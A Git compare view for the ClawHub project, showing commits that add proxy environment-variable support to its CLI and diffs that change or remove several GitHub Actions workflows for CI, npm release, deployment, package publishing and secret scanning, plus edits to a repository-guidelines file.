Compare commits

..
Author SHA1 Message Date
Peter Steinberger 53214abd08 fix: finalize proxy env support + changelog credits (#363) (thanks @kerrypotter) 2026-02-25 12:13:25 +00:00
Jarvis 4a6f4391c4 fix: use EnvHttpProxyAgent for proper proxy support
Address review feedback:
- Use undici's EnvHttpProxyAgent instead of ProxyAgent. This properly
  handles HTTPS_PROXY vs HTTP_PROXY per-scheme, respects NO_PROXY,
  and uses connect.timeout instead of requestTls.
- Update docs to mention NO_PROXY support.
2026-02-25 12:11:43 +00:00
Jarvis aa0a97bd35 fix: respect HTTP_PROXY/HTTPS_PROXY environment variables
The CLI creates a custom undici Agent via setGlobalDispatcher() which
overrides any proxy configuration. Since Node.js native fetch (backed
by undici) does not automatically respect HTTP_PROXY/HTTPS_PROXY env
vars, the CLI fails with 'fetch failed' on systems that require a
proxy for outbound connections.

Import ProxyAgent from undici and use it when any of the standard proxy
environment variables (HTTPS_PROXY, HTTP_PROXY, https_proxy, http_proxy)
is set. When no proxy variable is present, behavior is unchanged.

Also adds proxy documentation to cli.md and a troubleshooting entry.
2026-02-25 12:11:18 +00:00
593 changed files with 33951 additions and 88812 deletions
+5 -9
View File
@@ -11,11 +11,11 @@ jobs:
timeout-minutes: 15
steps:
- uses: actions/checkout@v6
- uses: actions/checkout@v4
- uses: oven-sh/setup-bun@e3914758a49697077f7bcd190d36582a61667aad
- uses: oven-sh/setup-bun@v2
with:
bun-version: 1.3.10
bun-version: 1.3.6
- name: Install
run: bun install --frozen-lockfile
@@ -31,14 +31,10 @@ jobs:
- name: Coverage
run: bun run coverage
- name: ClawHub CLI Verify
run: bun run --cwd packages/clawhub verify
- name: Typecheck
- name: Typecheck packages
run: |
bunx tsc --noEmit
bunx tsc -p packages/schema/tsconfig.json --noEmit
bunx tsc -p packages/clawhub/tsconfig.json --noEmit
bunx tsc -p packages/clawdhub/tsconfig.json --noEmit
- name: Build
run: bun run build
@@ -1,314 +0,0 @@
name: ClawHub CLI NPM Release
on:
workflow_dispatch:
inputs:
tag:
description: Release tag to publish, for example v0.10.0
required: true
type: string
preflight_only:
description: Run validation/build only and skip the gated publish job
required: true
default: false
type: boolean
preflight_run_id:
description: Existing successful preflight workflow run id to promote without rebuilding
required: false
type: string
concurrency:
group: clawhub-cli-npm-release-${{ inputs.tag }}
cancel-in-progress: false
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
NODE_VERSION: "24.x"
BUN_VERSION: "1.3.10"
jobs:
preflight_clawhub_cli_npm:
if: ${{ inputs.preflight_only }}
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Forbid preflight artifact promotion on validation-only runs
if: ${{ inputs.preflight_run_id != '' }}
run: |
echo "preflight_run_id is only valid for real publish runs."
exit 1
- name: Checkout
uses: actions/checkout@v6
with:
ref: refs/tags/${{ inputs.tag }}
fetch-depth: 0
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: ${{ env.NODE_VERSION }}
registry-url: https://registry.npmjs.org
- name: Setup Bun
uses: oven-sh/setup-bun@e3914758a49697077f7bcd190d36582a61667aad
with:
bun-version: ${{ env.BUN_VERSION }}
- name: Install dependencies
run: bun install --frozen-lockfile
- name: Resolve CLI package directory
run: |
set -euo pipefail
if [[ -d "packages/clawhub" ]]; then
echo "PACKAGE_DIR=packages/clawhub" >> "$GITHUB_ENV"
elif [[ -d "packages/clawdhub" ]]; then
echo "PACKAGE_DIR=packages/clawdhub" >> "$GITHUB_ENV"
else
echo "Unable to find clawhub CLI package directory." >&2
exit 1
fi
- name: Ensure version is not already published
env:
PREFLIGHT_ONLY: ${{ inputs.preflight_only }}
run: |
set -euo pipefail
PACKAGE_VERSION="$(node --input-type=module <<'EOF'
import { readFileSync } from "node:fs";
const pkg = JSON.parse(readFileSync(`./${process.env.PACKAGE_DIR}/package.json`, "utf8"));
process.stdout.write(String(pkg.version ?? "").trim());
EOF
)"
if npm view "clawhub@${PACKAGE_VERSION}" version >/dev/null 2>&1; then
if [[ "${PREFLIGHT_ONLY}" == "true" ]]; then
echo "clawhub@${PACKAGE_VERSION} is already published on npm; continuing because preflight_only=true."
exit 0
fi
echo "clawhub@${PACKAGE_VERSION} is already published on npm."
exit 1
fi
echo "Publishing clawhub@${PACKAGE_VERSION}"
- name: Validate release tag and package metadata
env:
RELEASE_TAG: ${{ inputs.tag }}
RELEASE_MAIN_REF: origin/main
run: |
set -euo pipefail
RELEASE_SHA="$(git rev-parse HEAD)"
export RELEASE_SHA
git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main
node scripts/clawhub-cli-npm-release-check.mjs
- name: Verify CLI package
run: bun run --cwd "$PACKAGE_DIR" verify
- name: Pack prepared npm tarball
id: packed_tarball
env:
RELEASE_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
pushd "$PACKAGE_DIR" >/dev/null
PACK_JSON="$(npm pack --json --ignore-scripts)"
echo "$PACK_JSON"
PACK_PATH="$(printf '%s\n' "$PACK_JSON" | node --input-type=module -e 'const chunks=[]; process.stdin.on("data", (chunk) => chunks.push(chunk)); process.stdin.on("end", () => { const parsed = JSON.parse(Buffer.concat(chunks).toString("utf8")); const first = Array.isArray(parsed) ? parsed[0] : null; if (!first || typeof first.filename !== "string" || !first.filename) process.exit(1); process.stdout.write(first.filename); });')"
popd >/dev/null
if [[ -z "${PACK_PATH}" || ! -f "${PACKAGE_DIR}/${PACK_PATH}" ]]; then
echo "npm pack did not produce a tarball file." >&2
exit 1
fi
RELEASE_SHA="$(git rev-parse HEAD)"
PACKAGE_VERSION="$(node --input-type=module <<'EOF'
import { readFileSync } from "node:fs";
const pkg = JSON.parse(readFileSync(`./${process.env.PACKAGE_DIR}/package.json`, "utf8"));
process.stdout.write(String(pkg.version ?? "").trim());
EOF
)"
ARTIFACT_DIR="$RUNNER_TEMP/clawhub-cli-npm-preflight"
rm -rf "$ARTIFACT_DIR"
mkdir -p "$ARTIFACT_DIR"
cp "${PACKAGE_DIR}/${PACK_PATH}" "$ARTIFACT_DIR/"
printf '%s\n' "$RELEASE_TAG" > "$ARTIFACT_DIR/release-tag.txt"
printf '%s\n' "$RELEASE_SHA" > "$ARTIFACT_DIR/release-sha.txt"
printf '%s\n' "$PACKAGE_VERSION" > "$ARTIFACT_DIR/package-version.txt"
echo "dir=$ARTIFACT_DIR" >> "$GITHUB_OUTPUT"
- name: Upload prepared npm publish bundle
uses: actions/upload-artifact@v7
with:
name: clawhub-cli-npm-preflight-${{ inputs.tag }}
path: ${{ steps.packed_tarball.outputs.dir }}
if-no-files-found: error
validate_publish_request:
if: ${{ !inputs.preflight_only }}
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Require main workflow ref for publish
env:
WORKFLOW_REF: ${{ github.ref }}
run: |
set -euo pipefail
if [[ "${WORKFLOW_REF}" != "refs/heads/main" ]]; then
echo "Real publish runs must be dispatched from main. Use preflight_only=true for branch validation."
exit 1
fi
- name: Require preflight artifact promotion on real publish
env:
PREFLIGHT_RUN_ID: ${{ inputs.preflight_run_id }}
run: |
set -euo pipefail
if [[ -z "${PREFLIGHT_RUN_ID}" ]]; then
echo "Real publish requires preflight_run_id from a successful npm preflight run." >&2
exit 1
fi
publish_clawhub_cli_npm:
needs: [validate_publish_request]
if: ${{ !inputs.preflight_only }}
runs-on: ubuntu-latest
environment: npm-release
permissions:
actions: read
contents: read
id-token: write
steps:
- name: Checkout
uses: actions/checkout@v6
with:
ref: refs/tags/${{ inputs.tag }}
fetch-depth: 0
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: ${{ env.NODE_VERSION }}
registry-url: https://registry.npmjs.org
- name: Resolve CLI package directory
run: |
set -euo pipefail
if [[ -d "packages/clawhub" ]]; then
echo "PACKAGE_DIR=packages/clawhub" >> "$GITHUB_ENV"
elif [[ -d "packages/clawdhub" ]]; then
echo "PACKAGE_DIR=packages/clawdhub" >> "$GITHUB_ENV"
else
echo "Unable to find clawhub CLI package directory." >&2
exit 1
fi
- name: Ensure version is not already published
run: |
set -euo pipefail
PACKAGE_VERSION="$(node --input-type=module <<'EOF'
import { readFileSync } from "node:fs";
const pkg = JSON.parse(readFileSync(`./${process.env.PACKAGE_DIR}/package.json`, "utf8"));
process.stdout.write(String(pkg.version ?? "").trim());
EOF
)"
if npm view "clawhub@${PACKAGE_VERSION}" version >/dev/null 2>&1; then
echo "clawhub@${PACKAGE_VERSION} is already published on npm."
exit 1
fi
echo "Publishing clawhub@${PACKAGE_VERSION}"
- name: Verify preflight run metadata
env:
GH_TOKEN: ${{ github.token }}
PREFLIGHT_RUN_ID: ${{ inputs.preflight_run_id }}
run: |
set -euo pipefail
RUN_JSON="$(gh run view "$PREFLIGHT_RUN_ID" --repo "$GITHUB_REPOSITORY" --json workflowName,headBranch,event,conclusion,url)"
printf '%s' "$RUN_JSON" | node --input-type=module -e 'const chunks=[]; process.stdin.on("data", (chunk) => chunks.push(chunk)); process.stdin.on("end", () => { const run = JSON.parse(Buffer.concat(chunks).toString("utf8")); const checks = [["workflowName", "ClawHub CLI NPM Release"], ["headBranch", "main"], ["event", "workflow_dispatch"], ["conclusion", "success"]]; for (const [key, expected] of checks) { if (run[key] !== expected) { console.error(`Referenced npm preflight run ${process.env.PREFLIGHT_RUN_ID} must have ${key}=${expected}, got ${run[key] ?? "<missing>"}.`); process.exit(1); } } console.log(`Using npm preflight run ${process.env.PREFLIGHT_RUN_ID}: ${run.url}`); });'
- name: Download prepared npm tarball
uses: actions/download-artifact@v8
with:
name: clawhub-cli-npm-preflight-${{ inputs.tag }}
path: preflight-tarball
repository: ${{ github.repository }}
run-id: ${{ inputs.preflight_run_id }}
github-token: ${{ github.token }}
- name: Validate release tag and package metadata
env:
RELEASE_TAG: ${{ inputs.tag }}
RELEASE_MAIN_REF: origin/main
run: |
set -euo pipefail
RELEASE_SHA="$(git rev-parse HEAD)"
export RELEASE_SHA
git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main
node scripts/clawhub-cli-npm-release-check.mjs
- name: Verify prepared tarball provenance
env:
RELEASE_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
EXPECTED_RELEASE_SHA="$(git rev-parse HEAD)"
EXPECTED_PACKAGE_VERSION="$(node --input-type=module <<'EOF'
import { readFileSync } from "node:fs";
const pkg = JSON.parse(readFileSync(`./${process.env.PACKAGE_DIR}/package.json`, "utf8"));
process.stdout.write(String(pkg.version ?? "").trim());
EOF
)"
TAG_FILE="preflight-tarball/release-tag.txt"
SHA_FILE="preflight-tarball/release-sha.txt"
VERSION_FILE="preflight-tarball/package-version.txt"
if [[ ! -f "$TAG_FILE" || ! -f "$SHA_FILE" || ! -f "$VERSION_FILE" ]]; then
echo "Prepared preflight metadata is missing." >&2
ls -la preflight-tarball >&2 || true
exit 1
fi
ARTIFACT_RELEASE_TAG="$(tr -d '\r\n' < "$TAG_FILE")"
ARTIFACT_RELEASE_SHA="$(tr -d '\r\n' < "$SHA_FILE")"
ARTIFACT_PACKAGE_VERSION="$(tr -d '\r\n' < "$VERSION_FILE")"
if [[ "$ARTIFACT_RELEASE_TAG" != "$RELEASE_TAG" ]]; then
echo "Prepared preflight tag mismatch: expected $RELEASE_TAG, got $ARTIFACT_RELEASE_TAG" >&2
exit 1
fi
if [[ "$ARTIFACT_RELEASE_SHA" != "$EXPECTED_RELEASE_SHA" ]]; then
echo "Prepared preflight SHA mismatch: expected $EXPECTED_RELEASE_SHA, got $ARTIFACT_RELEASE_SHA" >&2
exit 1
fi
if [[ "$ARTIFACT_PACKAGE_VERSION" != "$EXPECTED_PACKAGE_VERSION" ]]; then
echo "Prepared preflight package version mismatch: expected $EXPECTED_PACKAGE_VERSION, got $ARTIFACT_PACKAGE_VERSION" >&2
exit 1
fi
- name: Resolve publish tarball
id: publish_tarball
run: |
set -euo pipefail
TARBALL_PATH="$(find preflight-tarball -type f -name '*.tgz' -print | sort | tail -n 1)"
if [[ -z "$TARBALL_PATH" ]]; then
echo "Prepared preflight tarball not found." >&2
ls -la preflight-tarball >&2 || true
exit 1
fi
echo "path=$TARBALL_PATH" >> "$GITHUB_OUTPUT"
- name: Publish
run: |
set -euo pipefail
publish_target="${{ steps.publish_tarball.outputs.path }}"
if [[ -n "${publish_target}" ]]; then
publish_target="./${publish_target}"
fi
bash scripts/clawhub-cli-npm-publish.sh --publish "${publish_target}"
-176
View File
@@ -1,176 +0,0 @@
name: Deploy
on:
workflow_dispatch:
inputs:
target:
description: "What to deploy"
required: true
default: full
type: choice
options:
- full
- backend
- frontend
concurrency:
group: deploy-production
cancel-in-progress: true
jobs:
validate-deploy-request:
runs-on: ubuntu-latest
timeout-minutes: 5
outputs:
deploy_backend: ${{ steps.mode.outputs.deploy_backend }}
deploy_frontend: ${{ steps.mode.outputs.deploy_frontend }}
run_smoke: ${{ steps.mode.outputs.run_smoke }}
target: ${{ steps.mode.outputs.target }}
steps:
- name: Require main ref for production deploy
run: |
set -euo pipefail
if [[ "${GITHUB_REF}" != "refs/heads/main" ]]; then
echo "Production deploys must run from main."
exit 1
fi
- name: Resolve deploy mode
id: mode
run: |
set -euo pipefail
target="${{ inputs.target }}"
case "$target" in
full)
echo "deploy_backend=true" >> "$GITHUB_OUTPUT"
echo "deploy_frontend=true" >> "$GITHUB_OUTPUT"
echo "run_smoke=true" >> "$GITHUB_OUTPUT"
;;
backend)
echo "deploy_backend=true" >> "$GITHUB_OUTPUT"
echo "deploy_frontend=false" >> "$GITHUB_OUTPUT"
echo "run_smoke=true" >> "$GITHUB_OUTPUT"
;;
frontend)
echo "deploy_backend=false" >> "$GITHUB_OUTPUT"
echo "deploy_frontend=true" >> "$GITHUB_OUTPUT"
echo "run_smoke=true" >> "$GITHUB_OUTPUT"
;;
*)
echo "Unsupported deploy target: $target" >&2
exit 1
;;
esac
echo "target=$target" >> "$GITHUB_OUTPUT"
deploy-production:
runs-on: ubuntu-latest
timeout-minutes: 45
needs: validate-deploy-request
environment:
name: Production
url: https://clawhub.ai
env:
CONVEX_DEPLOY_KEY: ${{ secrets.CONVEX_DEPLOY_KEY }}
PLAYWRIGHT_AUTH_STORAGE_STATE_JSON: ${{ secrets.PLAYWRIGHT_AUTH_STORAGE_STATE_JSON }}
PLAYWRIGHT_BASE_URL: https://clawhub.ai
steps:
- name: Check deploy configuration
run: |
set -euo pipefail
missing=()
if [[ "${{ needs.validate-deploy-request.outputs.deploy_backend }}" == "true" && -z "$CONVEX_DEPLOY_KEY" ]]; then
missing+=("CONVEX_DEPLOY_KEY")
fi
if (( ${#missing[@]} > 0 )); then
echo "::error::Missing required production environment secrets: ${missing[*]}"
exit 1
fi
echo "Deploy target: ${{ needs.validate-deploy-request.outputs.target }}"
if [[ -z "$PLAYWRIGHT_AUTH_STORAGE_STATE_JSON" ]]; then
echo "PLAYWRIGHT_AUTH_STORAGE_STATE_JSON not set; authenticated smoke will be skipped."
fi
- uses: actions/checkout@v6
- uses: oven-sh/setup-bun@e3914758a49697077f7bcd190d36582a61667aad
with:
bun-version: 1.3.10
- name: Install
run: bun install --frozen-lockfile
- name: Stamp Convex build SHA
if: needs.validate-deploy-request.outputs.deploy_backend == 'true'
run: bunx convex env set APP_BUILD_SHA "${GITHUB_SHA}" --prod
- name: Stamp Convex deploy time
if: needs.validate-deploy-request.outputs.deploy_backend == 'true'
run: bunx convex env set APP_DEPLOYED_AT "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" --prod
- name: Deploy Convex
if: needs.validate-deploy-request.outputs.deploy_backend == 'true'
run: bun run convex:deploy
- name: Verify Convex contract
if: needs.validate-deploy-request.outputs.deploy_backend == 'true'
run: bun run verify:convex-contract -- --prod
- name: Wait for Vercel production deployment
if: needs.validate-deploy-request.outputs.deploy_frontend == 'true'
env:
GH_TOKEN: ${{ github.token }}
GITHUB_REPOSITORY: ${{ github.repository }}
GITHUB_SHA: ${{ github.sha }}
VERCEL_STATUS_CONTEXT: Vercel clawhub
run: |
set -euo pipefail
for attempt in {1..90}; do
if ! state="$(gh api "repos/$GITHUB_REPOSITORY/commits/$GITHUB_SHA/status" \
--jq '.statuses[] | select(.context == env.VERCEL_STATUS_CONTEXT) | .state' \
2>/dev/null | head -n1)"; then
echo "GitHub status check failed for $GITHUB_SHA; retrying..."
sleep 10
continue
fi
case "$state" in
success)
echo "Vercel production deployment ready for $GITHUB_SHA"
exit 0
;;
failure|error)
echo "::error::Vercel production deployment failed for $GITHUB_SHA"
exit 1
;;
pending)
echo "Vercel deployment pending for $GITHUB_SHA; waiting..."
;;
*)
echo "Vercel status for $GITHUB_SHA not published yet; waiting..."
;;
esac
sleep 10
done
echo "::error::Timed out waiting for Vercel production deployment for $GITHUB_SHA"
exit 1
- name: Install Playwright browser
if: needs.validate-deploy-request.outputs.run_smoke == 'true'
run: bunx playwright install --with-deps chromium
- name: Write authenticated storage state
if: needs.validate-deploy-request.outputs.run_smoke == 'true' && env.PLAYWRIGHT_AUTH_STORAGE_STATE_JSON != ''
run: |
echo "$PLAYWRIGHT_AUTH_STORAGE_STATE_JSON" > "$RUNNER_TEMP/playwright-auth.json"
echo "PLAYWRIGHT_AUTH_STORAGE_STATE=$RUNNER_TEMP/playwright-auth.json" >> "$GITHUB_ENV"
- name: Smoke test production
if: needs.validate-deploy-request.outputs.run_smoke == 'true'
run: bunx playwright test e2e/menu-smoke.pw.test.ts e2e/upload-auth-smoke.pw.test.ts
-341
View File
@@ -1,341 +0,0 @@
name: Package Publish
on:
workflow_call:
inputs:
source:
description: Package source to publish. Usually owner/repo, owner/repo@ref, or a GitHub URL.
required: false
type: string
default: ""
ref:
description: Optional ref to append to the source when source is not already pinned.
required: false
type: string
dry_run:
description: Preview only. When true, no publish mutation is performed.
required: false
type: boolean
default: true
json:
description: Emit structured JSON output.
required: false
type: boolean
default: true
registry:
description: ClawHub registry URL.
required: false
type: string
default: https://clawhub.ai
site:
description: ClawHub site URL.
required: false
type: string
default: https://clawhub.ai
owner:
description: Optional owner handle override for org/shared publishing.
required: false
type: string
version:
description: Optional package version override.
required: false
type: string
tags:
description: Optional comma-separated tags override.
required: false
type: string
default: latest
source_repo:
description: Optional source repo override for local-folder publishes.
required: false
type: string
source_commit:
description: Optional source commit override for local-folder publishes.
required: false
type: string
source_ref:
description: Optional source ref override for local-folder publishes.
required: false
type: string
clawhub_version:
description: Legacy npm CLI version input. Kept for compatibility; the workflow now runs the checked-out source.
required: false
type: string
default: latest
secrets:
clawhub_token:
required: false
outputs:
publish_json:
description: Structured JSON output from clawhub package publish.
value: ${{ jobs.publish.outputs.publish_json }}
release_id:
description: Published release id when dry_run is false.
value: ${{ jobs.publish.outputs.release_id }}
jobs:
publish:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: read
id-token: write
outputs:
publish_json: ${{ steps.capture.outputs.publish_json }}
release_id: ${{ steps.capture.outputs.release_id }}
steps:
- uses: actions/checkout@v6
with:
ref: ${{ github.sha }}
- uses: oven-sh/setup-bun@e3914758a49697077f7bcd190d36582a61667aad
with:
bun-version: 1.3.10
- name: Resolve ClawHub workflow source
id: clawhub_source
run: |
python3 - <<'PY'
import base64
import json
import os
from pathlib import Path
from urllib.request import Request, urlopen
request_token = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN", "").strip()
request_url = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL", "").strip()
if not request_token or not request_url:
raise SystemExit("GitHub OIDC token request env vars are missing; id-token: write is required.")
audience = "clawhub-workflow-source"
joiner = "&" if "?" in request_url else "?"
token_url = f"{request_url}{joiner}audience={audience}"
request = Request(
token_url,
headers={"Authorization": f"Bearer {request_token}"},
)
with urlopen(request) as response:
payload = json.load(response)
token = str(payload.get("value", "")).strip()
if not token:
raise SystemExit("GitHub OIDC token response did not include a token value.")
try:
encoded_payload = token.split(".")[1]
except IndexError as exc:
raise SystemExit("GitHub OIDC token was not a valid JWT.") from exc
padding = "=" * (-len(encoded_payload) % 4)
claims = json.loads(
base64.urlsafe_b64decode(encoded_payload + padding).decode("utf-8")
)
workflow_ref = str(claims.get("job_workflow_ref", "")).strip()
workflow_sha = str(claims.get("job_workflow_sha", "")).strip()
repo, marker, _ = workflow_ref.partition("/.github/workflows/")
if not marker or not repo or not workflow_sha:
raise SystemExit(
"Unable to resolve reusable workflow source from GitHub OIDC claims: "
f"job_workflow_ref={workflow_ref!r} job_workflow_sha={workflow_sha!r}"
)
output_path = Path(os.environ["GITHUB_OUTPUT"])
with output_path.open("a", encoding="utf-8") as fh:
fh.write(f"repository={repo}\n")
fh.write(f"ref={workflow_sha}\n")
PY
- uses: actions/checkout@v6
with:
repository: ${{ steps.clawhub_source.outputs.repository }}
ref: ${{ steps.clawhub_source.outputs.ref }}
path: clawhub-source
- name: Install ClawHub CLI dependencies
working-directory: clawhub-source
run: bun install --frozen-lockfile
- name: Validate publish mode inputs
env:
DRY_RUN: ${{ inputs.dry_run }}
JSON_MODE: ${{ inputs.json }}
CLAWHUB_TOKEN: ${{ secrets.clawhub_token }}
GITHUB_EVENT_NAME: ${{ github.event_name }}
run: |
if [[ "$JSON_MODE" != "true" ]]; then
echo "::warning::This reusable workflow always emits JSON output; forcing --json for downstream parsing."
fi
if [[ "$DRY_RUN" == "true" ]]; then
exit 0
fi
if [[ -n "$CLAWHUB_TOKEN" ]]; then
exit 0
fi
if [[ "$GITHUB_EVENT_NAME" == "workflow_dispatch" && -n "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" && -n "${ACTIONS_ID_TOKEN_REQUEST_TOKEN:-}" ]]; then
echo "No ClawHub token provided; publish will rely on GitHub OIDC trusted publishing."
exit 0
fi
echo "::error::Real publishes need secrets.clawhub_token, or GitHub OIDC on workflow_dispatch runs (permissions.id-token=write)."
exit 1
- name: Write ClawHub config
env:
CLAWHUB_TOKEN: ${{ secrets.clawhub_token }}
CLAWHUB_REGISTRY: ${{ inputs.registry }}
run: |
if [[ -z "$CLAWHUB_TOKEN" ]]; then
echo "No ClawHub token provided, skipping config file creation."
exit 0
fi
python3 - <<'PY'
import json
import os
from pathlib import Path
path = Path(os.environ["RUNNER_TEMP"]) / "clawhub-config.json"
path.write_text(
json.dumps(
{
"registry": os.environ["CLAWHUB_REGISTRY"],
"token": os.environ["CLAWHUB_TOKEN"],
},
indent=2,
)
+ "\n",
encoding="utf-8",
)
print(path)
PY
echo "CLAWHUB_CONFIG_PATH=$RUNNER_TEMP/clawhub-config.json" >> "$GITHUB_ENV"
- name: Resolve publish command
env:
INPUT_SOURCE: ${{ inputs.source }}
INPUT_REF: ${{ inputs.ref }}
INPUT_DRY_RUN: ${{ inputs.dry_run }}
INPUT_OWNER: ${{ inputs.owner }}
INPUT_VERSION: ${{ inputs.version }}
INPUT_TAGS: ${{ inputs.tags }}
INPUT_SOURCE_REPO: ${{ inputs.source_repo }}
INPUT_SOURCE_COMMIT: ${{ inputs.source_commit }}
INPUT_SOURCE_REF: ${{ inputs.source_ref }}
INPUT_SITE: ${{ inputs.site }}
INPUT_REGISTRY: ${{ inputs.registry }}
CLAWHUB_TOKEN: ${{ secrets.clawhub_token }}
GITHUB_EVENT_NAME: ${{ github.event_name }}
GITHUB_REPOSITORY: ${{ github.repository }}
GITHUB_REF: ${{ github.ref }}
GITHUB_SHA: ${{ github.sha }}
run: |
python3 - <<'PY'
import json
import os
import shlex
from pathlib import Path
source = os.environ["INPUT_SOURCE"].strip()
if not source:
source = os.environ["GITHUB_REPOSITORY"]
source_is_current_repo = source == os.environ["GITHUB_REPOSITORY"]
ref = os.environ["INPUT_REF"].strip()
if not ref and source_is_current_repo:
ref = os.environ["GITHUB_SHA"].strip()
is_local_source = source.startswith(".") or source.startswith("/") or Path(source).exists()
if ref and "@" not in source and not source.startswith("http") and not is_local_source:
source = f"{source}@{ref}"
cli_entry = (
Path(os.environ["GITHUB_WORKSPACE"])
/ "clawhub-source"
/ "packages"
/ "clawhub"
/ "src"
/ "cli.ts"
)
if not cli_entry.exists():
raise SystemExit(f"Missing ClawHub CLI entrypoint at {cli_entry}")
cmd = [
"bun",
str(cli_entry),
"package",
"publish",
source,
"--site",
os.environ["INPUT_SITE"],
"--registry",
os.environ["INPUT_REGISTRY"],
]
if os.environ["INPUT_DRY_RUN"] == "true":
cmd.append("--dry-run")
cmd.append("--json")
owner = os.environ["INPUT_OWNER"].strip()
version = os.environ["INPUT_VERSION"].strip()
tags = os.environ["INPUT_TAGS"].strip()
if owner:
cmd += ["--owner", owner]
if version:
cmd += ["--version", version]
if tags:
cmd += ["--tags", tags]
source_repo = os.environ["INPUT_SOURCE_REPO"].strip()
source_commit = os.environ["INPUT_SOURCE_COMMIT"].strip()
source_ref = os.environ["INPUT_SOURCE_REF"].strip()
if source_repo:
cmd += ["--source-repo", source_repo]
if source_commit:
cmd += ["--source-commit", source_commit]
if source_ref:
cmd += ["--source-ref", source_ref]
elif source_is_current_repo:
github_ref = os.environ["GITHUB_REF"].strip()
if github_ref:
cmd += ["--source-ref", github_ref]
if os.environ["INPUT_DRY_RUN"] != "true" and os.environ["CLAWHUB_TOKEN"].strip():
cmd += [
"--manual-override-reason",
f"GitHub Actions {os.environ['GITHUB_EVENT_NAME'].strip()} publish via CLAWHUB_TOKEN",
]
path = Path(os.environ["RUNNER_TEMP"]) / "clawhub-package-publish-command.sh"
shell_line = " ".join(shlex.quote(part) for part in cmd)
path.write_text("#!/usr/bin/env bash\nset -euo pipefail\n" + shell_line + "\n", encoding="utf-8")
path.chmod(0o755)
print(shell_line)
PY
- name: Run package publish
run: |
set -euo pipefail
"$RUNNER_TEMP/clawhub-package-publish-command.sh" | tee "$RUNNER_TEMP/package-publish.json"
- name: Capture workflow outputs
id: capture
run: |
python3 - <<'PY'
import json
import os
from pathlib import Path
output_path = Path(os.environ["RUNNER_TEMP"]) / "package-publish.json"
raw = output_path.read_text(encoding="utf-8").strip()
parsed = json.loads(raw)
github_output = Path(os.environ["GITHUB_OUTPUT"])
with github_output.open("a", encoding="utf-8") as fh:
fh.write("publish_json<<__CLAWHUB_JSON__\n")
fh.write(json.dumps(parsed, indent=2))
fh.write("\n__CLAWHUB_JSON__\n")
release_id = str(parsed.get("releaseId", "") or "")
fh.write(f"release_id={release_id}\n")
PY
- name: Upload publish JSON artifact
uses: actions/upload-artifact@v4
with:
name: clawhub-package-publish-json
path: ${{ runner.temp }}/package-publish.json
if-no-files-found: error
+4 -35
View File
@@ -1,8 +1,6 @@
name: "Security Gate: Secret Scanning"
on:
push:
branches: ["**"]
pull_request:
branches: [main, master]
@@ -14,46 +12,17 @@ jobs:
contents: read # Required to scan the code in the PR
steps:
- name: Checkout code
uses: actions/checkout@v6
uses: actions/checkout@v4
with:
fetch-depth: 0 # necessary to support the scoping requirements below
- name: Resolve scan range
id: scan_range
env:
EVENT_NAME: ${{ github.event_name }}
PR_BASE_SHA: ${{ github.event.pull_request.base.sha }}
PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }}
PUSH_BASE_SHA: ${{ github.event.before }}
PUSH_HEAD_SHA: ${{ github.sha }}
DEFAULT_BRANCH: ${{ github.event.repository.default_branch }}
run: |
set -euo pipefail
zero_sha="0000000000000000000000000000000000000000"
if [[ "$EVENT_NAME" == "pull_request" ]]; then
base="$PR_BASE_SHA"
head="$PR_HEAD_SHA"
else
base="$PUSH_BASE_SHA"
head="$PUSH_HEAD_SHA"
if [[ -z "$base" || "$base" == "$zero_sha" ]]; then
base="origin/$DEFAULT_BRANCH"
fi
fi
echo "base=$base" >> "$GITHUB_OUTPUT"
echo "head=$head" >> "$GITHUB_OUTPUT"
- name: TruffleHog OSS
id: trufflehog
# Use a concrete released ref that resolves in upstream action registry.
# v3 (major tag) is not published by trufflesecurity/trufflehog.
uses: trufflesecurity/trufflehog@v3.93.8
uses: trufflesecurity/trufflehog@e64309e4514a601c7d23f336688782a229a4a754 # Pin to current stable
with:
path: ./
base: ${{ steps.scan_range.outputs.base }}
head: ${{ steps.scan_range.outputs.head }}
base: ${{ github.event.pull_request.base.sha }} # scope it to the committed files
head: ${{ github.event.pull_request.head.sha }}
extra_args: --only-verified --debug
- name: Notify on Failure
-1
View File
@@ -1 +0,0 @@
22
-41
View File
@@ -1,7 +1,6 @@
# Repository Guidelines
## Project Structure & Module Organization
- `src/` — TanStack Start app code (routes, components, styles).
- `convex/` — Convex backend (schema, queries/mutations/actions, HTTP routes).
- `convex/_generated/` — generated Convex API/types; committed for builds.
@@ -9,7 +8,6 @@
- `public/` — static assets.
## Build, Test, and Development Commands
- `bun run dev` — local app server at `http://localhost:3000`.
- `bun run build` — production build (Vite + Nitro).
- `bun run preview` — preview built app.
@@ -20,70 +18,31 @@
- `bun run coverage` — coverage run; keep global >= 80%.
## Coding Style & Naming Conventions
- TypeScript strict; ESM.
- Indentation: 2 spaces, single quotes (Biome).
- Lint/format: Biome + oxlint (type-aware).
- Convex function names: verb-first (`getBySlug`, `publishVersion`).
## Testing Guidelines
- Framework: Vitest 4 + jsdom.
- Tests live in `src/**` and `convex/lib/**`.
- Coverage threshold: 80% global (lines/functions/branches/statements).
- Example: `convex/lib/skills.test.ts`.
## Commit & Pull Request Guidelines
- Commit messages: Conventional Commits (`feat:`, `fix:`, `chore:`, `docs:`…).
- Keep changes scoped; avoid repo-wide search/replace.
- PRs: include summary + test commands run. Add screenshots for UI changes.
- Before merging any PR, verify TypeScript cleanly with `bunx tsc -p packages/schema/tsconfig.json --noEmit` and `bunx tsc -p packages/clawhub/tsconfig.json --noEmit`; if Convex code changed, also run the repo typecheck path used by deploy so `bunx convex deploy` will not fail on `tsc`.
- GitHub comments: for multiline `gh` comments/close messages, use `--body-file`, `--input`, or stdin/heredoc with real newlines; never pass literal `\\n` in shell strings.
